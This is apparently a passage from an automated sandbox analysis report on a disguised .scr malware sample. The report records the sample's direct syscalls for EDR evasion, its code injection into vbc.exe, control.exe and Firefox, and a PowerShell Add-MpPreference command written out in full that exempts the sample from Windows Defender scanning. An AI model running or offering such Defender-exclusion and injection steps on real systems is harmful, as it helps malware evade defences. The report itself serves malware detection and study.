Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2F12 mov eax, dword ptr fs:[00000030h]	4_2_055D2F12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05686F00 mov eax, dword ptr fs:[00000030h]	4_2_05686F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FEF28 mov eax, dword ptr fs:[00000030h]	4_2_055FEF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CF1F mov eax, dword ptr fs:[00000030h]	4_2_0560CF1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CEFD8 mov eax, dword ptr fs:[00000030h]	4_2_055CEFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CEFD8 mov eax, dword ptr fs:[00000030h]	4_2_055CEFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CEFD8 mov eax, dword ptr fs:[00000030h]	4_2_055CEFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4FE7 mov eax, dword ptr fs:[00000030h]	4_2_056A4FE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2FC8 mov eax, dword ptr fs:[00000030h]	4_2_055D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2FC8 mov eax, dword ptr fs:[00000030h]	4_2_055D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2FC8 mov eax, dword ptr fs:[00000030h]	4_2_055D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2FC8 mov eax, dword ptr fs:[00000030h]	4_2_055D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05610FF6 mov eax, dword ptr fs:[00000030h]	4_2_05610FF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05610FF6 mov eax, dword ptr fs:[00000030h]	4_2_05610FF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05610FF6 mov eax, dword ptr fs:[00000030h]	4_2_05610FF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05610FF6 mov eax, dword ptr fs:[00000030h]	4_2_05610FF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05686FF7 mov eax, dword ptr fs:[00000030h]	4_2_05686FF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CF80 mov eax, dword ptr fs:[00000030h]	4_2_0560CF80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602F98 mov eax, dword ptr fs:[00000030h]	4_2_05602F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602F98 mov eax, dword ptr fs:[00000030h]	4_2_05602F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650E7F mov eax, dword ptr fs:[00000030h]	4_2_05650E7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650E7F mov eax, dword ptr fs:[00000030h]	4_2_05650E7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650E7F mov eax, dword ptr fs:[00000030h]	4_2_05650E7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A2E4F mov eax, dword ptr fs:[00000030h]	4_2_056A2E4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A2E4F mov eax, dword ptr fs:[00000030h]	4_2_056A2E4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6E71 mov eax, dword ptr fs:[00000030h]	4_2_055D6E71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8E1D mov eax, dword ptr fs:[00000030h]	4_2_055C8E1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05666E20 mov eax, dword ptr fs:[00000030h]	4_2_05666E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05666E20 mov eax, dword ptr fs:[00000030h]	4_2_05666E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05666E20 mov ecx, dword ptr fs:[00000030h]	4_2_05666E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FAE00 mov eax, dword ptr fs:[00000030h]	4_2_055FAE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FAE00 mov eax, dword ptr fs:[00000030h]	4_2_055FAE00

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: NULL target: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\control.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: NULL target: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: NULL target: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\control.exe

Thread register set: target process: 8128

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\control.exe

Thread APC queued: target process: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\SysWOW64\control.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: uFLByAWAOFbhtV.exe, 00000005.00000002.4132994444.0000000000E01000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000000.1766717315.0000000000E00000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132954868.0000000001AA1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: uFLByAWAOFbhtV.exe, 00000005.00000002.4132994444.0000000000E01000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000000.1766717315.0000000000E00000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132954868.0000000001AA1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: uFLByAWAOFbhtV.exe, 00000005.00000002.4132994444.0000000000E01000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000000.1766717315.0000000000E00000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132954868.0000000001AA1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: uFLByAWAOFbhtV.exe, 00000005.00000002.4132994444.0000000000E01000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000000.1766717315.0000000000E00000.00000002.00000001.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132954868.0000000001AA1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
